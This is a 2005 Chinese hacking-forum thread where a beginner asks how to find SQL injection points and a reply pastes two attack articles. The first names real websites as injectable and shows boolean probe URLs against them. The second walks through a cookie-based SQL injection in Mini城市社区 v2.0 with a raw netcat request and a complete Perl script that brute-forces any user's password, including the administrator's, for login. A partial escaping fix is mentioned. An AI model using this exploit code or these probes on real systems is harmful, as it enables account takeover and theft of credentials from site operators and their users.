论坛: 菜鸟乐园 标题: 如何找到SQL注入点。。。。。(斯文败类看到请进) 复制本贴地址    
作者: wngk [wngk]    论坛用户   登录
可以具体的讲一下吗?

也可以联系我QQ:997502 

地主 发表时间: 05-01-25 15:46

回复: NetMySky [cg2327]      登录
如何查找注入点!小弟有一些个技巧!

如果出现:服务器上URL出错之类的提示你可以尝试用一些注入工具来进行注入!
如果实在找不到注入点的话,你还可以构造注入点!相关文章你可以参考!如下文章:
最近sql inject 可是说是红遍了整个中国,不知道多少网站在sql inject 面前轰然倒下,其实 Sql inject 在国外技术已经很成熟了,而国内则是在近一两年内慢慢走向成熟。

在一个个惨痛的实例面前,脚本工作者不得不重视起来,最好的例子就是动网了。然而今天脚本是不是就很安全的呢。请看我对几个安全站点的测试结果。

结果是令人吃惊的, 影子鹰, 华夏, 黑客动画吧 都存在着这个站内搜索的漏洞。

请看一段常见的站内搜索写法。


例一:
<form name="form4" method="post" action="search.asp">
<tr>
<td height="25"> <div align=center>
<input type="text" name="txtfind" size="18" onMouseOver="javascript:this.select();" value="请输入待查信息" style="border:#333333 1px solid;">
</div></td>
</tr>
<tr>
<td> <div align=center><img height=5 src="../images/left_2.gif" width=186></div></td>
</tr>
<tr>
<td height="30"> <div align=center>
<select name="s1">
<option selected value='0'>所有类别</option><option value='1'>网站新闻</option>
<option value='2'>进阶教程</option>
<option value='3'>安全漏洞</option>
<option value='5'>系统防范</option>
<option value='6'>原创作品</option>

</select>

/* 上面的这段来自影子鹰安全网*/

也许看了人说没什么的啊,我也是这么写的,这和sql inject 有什么关系啊。呵呵,,其实问题就出在这。

大家看,搜索类别的值是从客户端获得的,而且没有过滤。。呵呵,,聪明的你是否想到了什么。??

我们可以构造一个url http://www.cnhacker.cn/search.asp?s1=1 得到的结果是:

页面返回正常,得到一大堆的搜索结果。

提交 http://www.cnhacker.cn/search.asp?s1=1 and 1=1 返回正常

提交 http://www.cnhacker.cn/search.asp?s1=1 and 1=2 没有搜索到任何相关文章 ,请重新搜索

哈哈。。可注。。。象这些安全站点密码一定n变态,还是用nb跑跑吧。。后面也证明了我的想法是正确的密码n变态,还好没手工猜。。呵呵。。拿到了管理员的密码,就是找不到后台郁闷。


例二:

<a href='Soft_Class.asp?ClassID=11'>安全扫描</a></li><br><li><a href='Soft_Class.asp?ClassID=12'>嗅探监听</a></li><br><li><a href='Soft_Class.asp?ClassID=13'>分析检测</a></li><br><li><a href='Soft_Class.asp?ClassID=14'>字典文档</a></li><br><li><a href='Soft_Class.asp?ClassID=15'>加密破解</a></li><br><li><a href='Soft_Class.asp?ClassID=16'>木马类</a></li><br><li><a href='Soft_Class.asp?ClassID=17'>QQ类</a></li><br><li><a href='Soft_Class.asp?ClassID=18'>综合工具</a></li>

呵呵。。。以上代码来自黑客动画吧。。哈哈。。令人吃惊的直接就是classID= 根本就没有过滤。

分析完上面的代码,和其他的一些代码综合起来。。我们又可以构造这样的url http://www.hack58.com/Soft_Search.asp?Field=SoftName&ClassID=8

结果返回也是一定堆的搜索结果。。。

提交 http://www.hack58.com/Soft_Search.asp?Field=SoftName&ClassID=8 and 1=1 返回正常

提交 http://www.hack58.com/Soft_Search.asp?Field=SoftName&ClassID=8 and 1=2 产生错误的可能原因:

HOO。。。漏洞有出来了。。


例三:

来个大家都知道的华夏黑客联盟。。呵呵。。前段时间还被黑了一次。。还是看代码吧。。听说华夏用的是动力的商业版。。

晕。。。华夏今天又上不去。。。反正原理是相同的。。不过这个我找了有点久,,

我把我构造好的url 给大家看 http://www.77169.org/soft1/search.asp?ss_name=winrar&sor=01

接下来要怎么发挥就看你们的了。。。。


总结:这个漏洞应该有一定的普遍性,,呵呵。。黑窝里安全站点都有这个问题,,别说是其他站点了。而黑客动画吧和华夏黑客好像都是
用动力的。。呵呵。。或许有些大虾早就发现了,,,小弟就在这献丑一下了,第一次写文章,有所差错在所难免。。欢迎和我联系。


栏 目 树 形 导 航




  设为首页
加入收藏
联系站长


今天是: 2005年2月17日 星期四  | 首页 | 文章 | 下载 | 留言 | 论坛 | 竞技中心 | 邮箱 | FLASH | 客户中心 | 

| 文章中心首页 | 业界动态 | 黑客教程 | 网管频道 | 电脑基础 |



您现在的位置: 冷瑜阁 >> 文章 >> 黑客频道 >> 黑客入侵 >> 正文  用户登录  新用户注册 
用Cookies做SQL injection           
用Cookies做SQL injection
副标题:
作者:未知 文章来源:本站原创 点击数:8 更新时间:2005-1-22


冷瑜阁黑客世界-http://www.xxql.com文/mix   http://www.spking.com/

一般ASP程序出现SQL injection漏洞,一般都是通过从地址栏提交精心构建的地址,达到注入的目的。其实,在Cookies中同样可以实现SQL injection。这次漏洞涉及的是Mini城市社区v2.0 免费版本+SP1补丁。

Mini城市社区是http://xmcn.com/city开发的一套开放源代码的社区程序;由于多个文件存在变量未过滤特殊字符,可能导致用户非法控制社区,获取管理员在内的用户密码。由于问题文件较多,这里特选取一个简单的user_photo.asp来作解释。

user_photo.asp文件的作用是上传用户头像图片的,先看看文件开头是怎么样验证用户已登陆的:


if Request.Cookies("NC")="" or Request.Cookies("NC")="访客" then
Response.Write("对不起,您不是社区用户,请先注册!")
Response.End
end if


这里他简单的使用了Cookies中的NC变量的值,是否不为空或不为"访客"来判断用户。没有对数据库是否存在这个用户,以及没有密码认证是他犯下的第一个错误。接着往后看代码:


set rs=server.createobject("adodb.recordset")
set rs=conn.execute("Select * from HY Where NC='"&Request.Cookies("NC")&"'")


前两句话,就是他的第二个错误,没有对Request.Cookies("NC")得来的数据进行任何过滤就直接放入了SQL语句中,进行查询操作,通过构造Cookies就可以在这里进行SQL injection!


......省略部分代码

" width="200" height="150">


在后面的代码中,通过先前从数据库查询得来的数据,调用user_photo_disp.asp来显示图片,如果首先的查询语句正常返回了,这里就可以正常显示(如图一);反之,由于没有相应的数据作参数,这里就会显示错误。利用这个现象,我们就能够判断出我们构造的SQL语句的正确与否。


图一

好了,简单的回顾刚才的三个分析步骤,也是任何一个SQL injection漏洞被确立的三个必要条件:
1.能够顺利的让ASP程序运行到有错误的语句上,而又不能破坏我们构建的数据。
2.能够控制SQL语句的构成,插入我们需要的SQL语句成分。
3.能够在客户端(浏览器)返回的数据中,找到SQL语句是否正确执行的判断标准(现象)。

完成了漏洞的分析,下面就是简单的实践过程了,由于Cookies存在的特殊性,一般都是用程序来进行暴力猜解的。但是,为了大家能够理解数据在服务器和浏览器之间是怎么样运作的,笔者简单的使用nc.exe(网络瑞士军刀)来演示一下过程,文后附带了笔者写的一个perl脚本,可以用来猜解任意账户密码,使用前先注册一个用户名为goo的账户。

Nc.exe的详细使用指南可以在网上搜索得到,笔者就不再多说了。在命令行下执行: nc -vv 127.0.0.1 80 <1.txt >1.htm ,其中127.0.0.1是运行了Mini城市社区的服务器IP地址,80是端口号,1.htm保存的是服务器返回结果,1.txt是我们构造的数据,其内容如下,注意最后一个分号后,有三个回车。

GET /mcity/main.asp HTTP/1.0
Host: 127.0.0.1
Cookie: NC=goo%27and%20exists(select%20id%20from%20HY%20where%20len(MM)%3D0%27and%20NC%3D%27admin%27)%20and%20%271;



我们将Cookies中的NC数据带入到SQL语句中来看看我们到底想执行什么:
Select * from HY Where NC='goo'and exists(select id from HY where len(MM)=7 and NC='admin') and ‘1'

很显然,我们在试图探测用户名为admin的密码长度是否为7。大家可以发挥一下自己的思考能力,构造其他的SQL语句进行查询,在带入1.txt的格式中时,注意将=(等号)换成%3D,将'(单引号)换成%27,将空格换成%20。如果上面的语句是正确的,浏览器返回如图一,反之如图二。


图二

其实,笔者在简单测试Mini城市社区的官方网站时,发现其已经解决了大部分的SQL injection漏洞,只不过没有将补丁发放出来。任在使用该社区的朋友就只好先自己动手改改了,将所有使用Request函数的地方都用如下格式代替Replace(Request.Cookies("NC"),"'","''"),通过剔除'(单引号)来加大漏洞利用的难度,至于彻底解决还是等待官方的补丁为妙。



附录:
#!/usr/bin/perl
#Codz By Mix2003/8/15
#The Script can crack MINI system user's password

$|=1;
use Socket;
use Getopt::Std;
getopt('hpwu');

print "=====================================================\n";
print " The Script Codz By Mix \n";
print "=====================================================\n";

&usage unless ( defined($opt_h) && defined($opt_w) );

$host=$opt_h;
$port=$opt_p||80;
$way=$opt_w;
$username=$opt_u;

print "\nPlease wait...\n\n";

@dic=(0..20);
for ($i=0;$i<@dic;$i++)
{
$cookies="NC=goo%27and%20exists(select%20id%20from%20HY%20where%20len(MM)%3D$dic[$i]%20and%20NC%3D%27$username%27)%20and%20%271";
$request = "GET $way HTTP/1.0\r\n".
"Host: $host\r\n".
"Cookie: $cookies;\n\n";
print "$dic[$i].";
@in = sendraw($request);
@num=grep /图片可以是/, @in;
$size=@num;
if ($size > 0) {
$len=$dic[$i];
print "\n\nSuccessful,The len of admin's password is $dic[$i] .\n\n";
last;
}
}


for ($j=1;$j<=$len;$j++)
{
@dic11=(0..9);
@dic12=(a..z);
@dic13=(A..Z);
@special=qw(` ~ ! @ # $ %25 ^ %26 * \( \) _ %2b = - { } [ ] : " ; < > ? | , . / \\);
@special2=qw( ` ~ ! &#8226; # ¥ % ...... ― * ( ) ―― + - = { } [ ] : " " ; ' 《 》 ? │ , 。 / 、 〈 〉 ');
@dic=(@dic11,@dic12,@dic13,@special,@special2);
for ($i=0;$i<@dic;$i++)
{
$key=$pws.$dic[$i];
$cookies="NC=goo%27and%20exists%20(select%20id%20from%20HY%20where%20left(MM,$j)%3D%27$key%27%20and%20NC%3D%27$username%27)%20and%20%271";

$request = "GET $way HTTP/1.0\r\n".
"Host: $host\r\n".
"Cookie: $cookies;\n\n";
print "$dic[$i].";
@in = sendraw($request);
@num=grep /图片可以是/, @in;
$size=@num;
if ($size > 0) {
$th=$j.th;
print "\nSuccessful,The $th word of the password is $dic[$i] \n";
$pws=$pws.$dic[$i];
last;
}
}
}

$pws=~s/\%2b/\+/ig;
$pws=~s/\%25/\%/ig;
$pws=~s/\%26/\&/ig;
print "\n\nSuccessful,The $username's password is $pws .\n\n";


print "Now , you can use \nusername: $username\npassword: $pws\nto login !\n\n";


sub usage {
print qq~
Usage: $0 -h [-p ] -w
-h =hostname you want to crack
-p =port,80 default
-w =the path of the weak file and the file's path
-u =you want to crack user's name

Eg: $0 -h www.target.com -p 80 -w /mcity/user_photo.asp -u admin
~;
exit;
}


#thanx rfp's sendraw
sub sendraw {
my ($request) = @_;
my $target;
$target = inet_aton($host) || die("inet_aton problems");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
select(S);
$| = 1;
print $request;
my @in = ;
select(STDOUT);
close(S);
return @in;
}
else {
die("Can't connect...\n");
}







B1层 发表时间: 05-01-25 16:10

回复: wngk [wngk]   论坛用户   登录
晕`老大``你在那里找的啊。。。


有些地方我看不明白````

B2层 发表时间: 05-01-25 23:37

回复: lhh2003 [lhh2003]   论坛用户   登录
哪些不明白啊?姐姐教你,乖了,嘻嘻

B3层 发表时间: 05-01-26 00:15

回复: listenwind [listenwind]   论坛用户   登录
俺也不明白!

B4层 发表时间: 05-01-26 00:29

回复: qmdjzgqt [qmdjzgqt]   论坛用户   登录


看着密密麻麻的乱码,头疼!!!



B5层 发表时间: 05-01-26 08:15

回复: hackerjune [hackerjune]   论坛用户   登录
讨厌
你就不知道自己来说点啊
飞雪还姐姐里`
````````````!~

B6层 发表时间: 05-01-26 10:21

回复: lhh2003 [lhh2003]   论坛用户   登录
各位乖了,不明白的说,只要乖乖的,姐姐都会教你们的,嘻嘻

B7层 发表时间: 05-01-26 11:24

回复: hackerjune [hackerjune]   论坛用户   登录
恶心

B8层 发表时间: 05-01-26 11:49

回复: lhh2003 [lhh2003]   论坛用户   登录
楼上的,你想怎么样啊!!!你好来,哼。。。。。。。


[此贴被 失落的雪(lhh2003) 在 01月26日15时06分 编辑过]

B9层 发表时间: 05-01-26 12:12

回复: lhh2003 [lhh2003]   论坛用户   登录
我还帮你处理你的问题,好吧!
拖进20cn黑名单(柳霖明楠),杜绝此人发送信息的所有回复,点击ok――显示ok,(操作明智)

B10层 发表时间: 05-01-26 12:21

回复: wngk [wngk]   论坛用户   登录
失落的雪```

我晕忽忽。。。。。我的Q上有你。。。。但是你N久没有上线啊。

B11层 发表时间: 05-01-26 14:41

回复: lhh2003 [lhh2003]   论坛用户   登录
我是对柳霖明楠说的啊,楼主怎么了啊?嘻嘻,不好意思
上面打错了,我已改了


[此贴被 失落的雪(lhh2003) 在 01月26日16时38分 编辑过]

B12层 发表时间: 05-01-26 15:07

回复: listenwind [listenwind]   论坛用户   登录


B13层 发表时间: 05-01-26 16:04

回复: qkong [qkong]   论坛用户   登录
虽然是别的论坛抄袭的。。但……还有一点点看头吧。。
本人对编程类知道的有限。。所以阅读也有一定的困难。。
好象是SQL的。。

还有啊。。这里不是吵架的地方。。呵呵。。。

B14层 发表时间: 05-01-27 22:26

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号